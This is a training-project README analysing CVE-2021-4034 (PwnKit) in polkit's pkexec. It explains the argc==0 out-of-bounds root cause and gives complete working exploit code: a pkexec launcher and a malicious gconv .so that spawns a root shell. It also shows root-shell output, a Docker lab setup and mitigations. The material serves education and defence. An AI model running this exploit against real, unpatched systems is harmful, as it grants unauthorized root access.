
Whitehat School 4기 CVE-2021-4034 분석 및 POC 작성
🔗 Original Project: berdav/CVE-2021-4034
This project is an educational analysis and modification based on the original.
MIT License Compliant | White Hat School Training Task
CVE-2021-4034 is a local privilege escalation vulnerability in Linux policykit-1 (PolicyKit). By executing pkexec without arguments, an unprivileged user can exploit a flaw in the process memory structure, causing glib to re-reference environment variable strings that should have been filtered out, thereby loading a malicious .so file and gaining root privileges.
⚠️ Educational Purposes Only: This code should only be used on modified systems.
Using it to attack real systems may result in legal liability.
| Item | Details |
|---|---|
| CVE ID | CVE-2021-4034 |
| Vulnerability Name | PwnKit |
| Affected Versions | All polkit versions prior to patch 0.105 (test environment: policykit-1 0.105-26ubuntu1 on Ubuntu 20.04) |
| Vulnerability Type | Local Privilege Escalation (LPE) |
| Severity | Critical (CVSS 7.8) |
| Patched Version | policykit-1 >= 0.105-26ubuntu1.1 |
| Discovered | June 2021 (publicly disclosed January 2022) |
It is easy to mistake this as an Ubuntu-only problem, but since it is a logic flaw in pkexec itself, most distributions using polkit are affected. The Docker test environment was Ubuntu 20.04, so that version is included in the table.
When first analyzing, I thought it was "a problem caused by unchecked environment variables", but after looking at the source code and the patch commit, I realized the order is different. The real root cause lies elsewhere, and the environment variable issue is more of a consequence. Below is the flow sorted by root cause order.
pkexec is a SUID-root program that requests privilege escalation via PolicyKit.
# Example: execute a command with root privileges
pkexec /bin/id
pkexec systemctl restart service
It is used when a normal user needs to perform specific tasks with administrative privileges.
argc == 0In the main() function of pkexec, when processing command-line arguments, it does not validate the case where the program is executed with no arguments (argc == 0). This is the real starting point of the vulnerability.
argv = {"pkexec", "command", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0When argc is 0, the argv list contains only one NULL (terminator). However, pkexec's internal logic attempts to read and write to a non-existent argv[1]. The problem is that Linux, when executing a process, places the argv array and envp (environment) array adjacent in memory. Thus, accessing out-of-bounds argv[1] actually points to envp[0], i.e., the first environment variable.
Normal: argv = [ "pkexec" | NULL ]
Attack: argv = [ NULL ] ← argc = 0
↑
Accessing non-existent argv[1]
↓
Reads and writes envp[0] right after in memory (out-of-bounds)
Why is this dangerous?
GCONV_PATH, LD_PRELOAD as insecure before executing a SUID program (pkexec).argc < 1. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write)📌 In summary: The lack of environment variable validation is a "condition that makes the attack work", and the real root cause is that pkexec does not handle argc == 0. Point 3 below is the consequence of this root cause.
Thanks to the OOB behavior described in point 2, during pkexec's initialization of glib, this string is used again without validation.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // ld.so should have filtered this out
"CHARSET=PWNKIT", // non-existent encoding
};
execve("/usr/bin/pkexec", args, env); // argv is empty to create argc=0
Problem:
The important thing here is that glib itself does nothing wrong. If GCONV_PATH is set, it is normal behavior for glib to search for a converter in that path. The problem is that pkexec has already broken the secure execution state (where dangerous environment variables are removed) — glib simply operates normally, and that normal operation is abused.
Check CHARSET environment variable
CHARSET=PWNKIT
Search for converter definition in gconv-modules file
module UTF-8// PWNKIT// pwnkit 1
Load .so file from GCONV_PATH
GCONV_PATH=. → search for pwnkit.so in current directory
Initialization function in .so runs automatically
// pwnkit.c - Automatically executed when .so is loaded
void gconv_init(void *step)
{
setuid(0); // get root privileges
setgid(0);
execve("/bin/sh"); // execute root shell!
}
It is easy to call gconv_init a "constructor function", but strictly speaking, it is different from C's __attribute__((constructor)). More precisely, it is an initialization function defined by the gconv module interface, and glib calls it explicitly after loading the .so with dlopen.
┌─────────────────────────────────────┐
│ Normal User (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. Execute pkexec with empty argv (argc=0)
│ + Set malicious environment variables
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec executed │
│ No argc validation → OOB → string re-reference │
└─────────────────────────────────────┘
│
│ 2. glib processes normally
│ Searches for CHARSET=PWNKIT encoding
│ Finds converter in GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ pwnkit.so loaded │
│ (malicious .so file in current dir) │
└─────────────────────────────────────┘
│
│ 3. gconv init function runs automatically (as root!)
↓
┌─────────────────────────────────────┐
│ root shell obtained ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. Get the project
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Check for latest version
git pull origin main
# 3. Build (no cache)
docker compose build --no-cache
# 4. Run
docker compose up
docker system prune -a --volumes --force is recommended only when the above method fails due to cache or volume issues. It is a fairly aggressive command that clears all Docker cache on the system, and may also wipe other project caches. Related content is documented separately in the "Issues and Solutions" section.
pwnkit | Current privileges (before attack): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← Success! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose configuration
├── Dockerfile # Vulnerable Ubuntu 20.04 environment
├── start.sh # Container initialization and auto-run
├── Makefile # Build configuration
├── CVE-2021-4034_exploit.c # Exploit code (pkexec invocation)
├── pwnkit.c # Malicious .so file (privilege escalation)
├── gconv-modules # glib converter mapping
├── README.md # This file
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// Do not specify a program to execute with pkexec
// (only NULL in args) → this is what creates argc=0
char * const args[] = {
NULL
};
// 🔴 Malicious environment variables checked later (out-of-bounds reachable)
// Became referencable again due to argc=0 OOB, passed to pkexec as-is
char * const env[] = {
"GCONV_PATH=.", // converter path (current directory)
"CHARSET=PWNKIT", // non-existent encoding
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// Execute pkexec (no arguments → triggers argc=0)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Key Points:
args does not even include the name pkexec, making argc 0 → triggers the root cause (missing argc validation)GCONV_PATH=. : After becoming referencable via OOB, glib searches for a converter in this pathCHARSET=PWNKIT : Induces glib to search for a converter for this encoding#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Function to make the .so recognized as a converter (required for format)
void gconv()
{
}
// 🎯 Core of CVE-2021-4034
// Initialization function called explicitly by glib after dlopen when .so is loaded
// This function runs with root privileges! ← Core vulnerability!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // execute root shell
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// Explicitly set root privileges (already root, but for clarity)
setuid(0);
setgid(0);
// Execute root shell ← privilege escalation success!
execve(args[0], args, env);
exit(0);
}
Key Points:
gconv_init() is not a C constructor attribute; it is an initialization function that glib calls directly after dlopen according to the gconv module interface specificationsetuid(0) and executing a shell, a root shell is obtained directly$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

This screenshot was taken the first time the exploit succeeded, and shows the user's privileges.
$ ./CVE-2021-4034_exploit
Note: The exploit itself does not require sudo. The core of this vulnerability is that pkexec is already a SUID-root binary, so a root shell can be obtained with only normal user privileges. In the Docker test environment, I used
sudo -Eat some point, but that was only for convenience to confirm the NOPASSWD setting, and is unrelated to the vulnerability itself.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (content only root can see)

The image shows that root privileges were obtained after the actual attack.
For a more comprehensive view of before and after the attack, I recommend looking at the image in the ### Actual Privileges Before Attack section.
✅ Privilege Escalation Successful!
Successfully reproduced in an Ubuntu 20.04-based Docker environment (policykit-1 0.105-26ubuntu1). I haven't run many repeated tests yet, so I plan to run it a few more times with different kernel/distribution versions and fill in the results.
# 1. Upgrade patch (recommended)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# Check version
dpkg -l | grep policykit-1
# Must be 0.105-26ubuntu1.1 or higher
# Edit /etc/sudoers (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
The patch is the fundamental solution; the above two are more like temporary workarounds until patching. Since the argc validation issue must be fixed in pkexec code, simply blocking environment variables does not completely prevent it.
docker-compose command not foundCause: Ubuntu 24.04 does not have docker-compose (v1), only docker compose (v2)
Solution:
# Use docker compose command (v2)
docker compose up
Cause: NOPASSWD setting in Dockerfile not applied properly (Docker cache issue)
Solution:
docker compose build --no-cache
docker compose up
If it still doesn't work, clear the cache completely and try again.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Cause: Local files remain at old version
Solution:
# Get the latest version from GitHub
git pull origin main
# Verify files
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# Rebuild
docker compose up --build --no-cache
Cause: Existing container still present
Solution:
# Remove container
docker compose down
docker rm pwnkit -f
# Run again
docker compose up
Cause: Files created in Docker have root ownership
Solution:
# On WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
Author: krleejihyeong
Newly written/modified parts:
This project is licensed under the MIT License.
Copyright (c) 2026 krleejihyeong (modifications and analysis)
Copyright (c) 2021 berdav (original PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
For more details, refer to the LICENSE file.
This project is created for strictly educational purposes.
Unauthorized access to computer systems may be legally punishable.
Last Updated: July 2026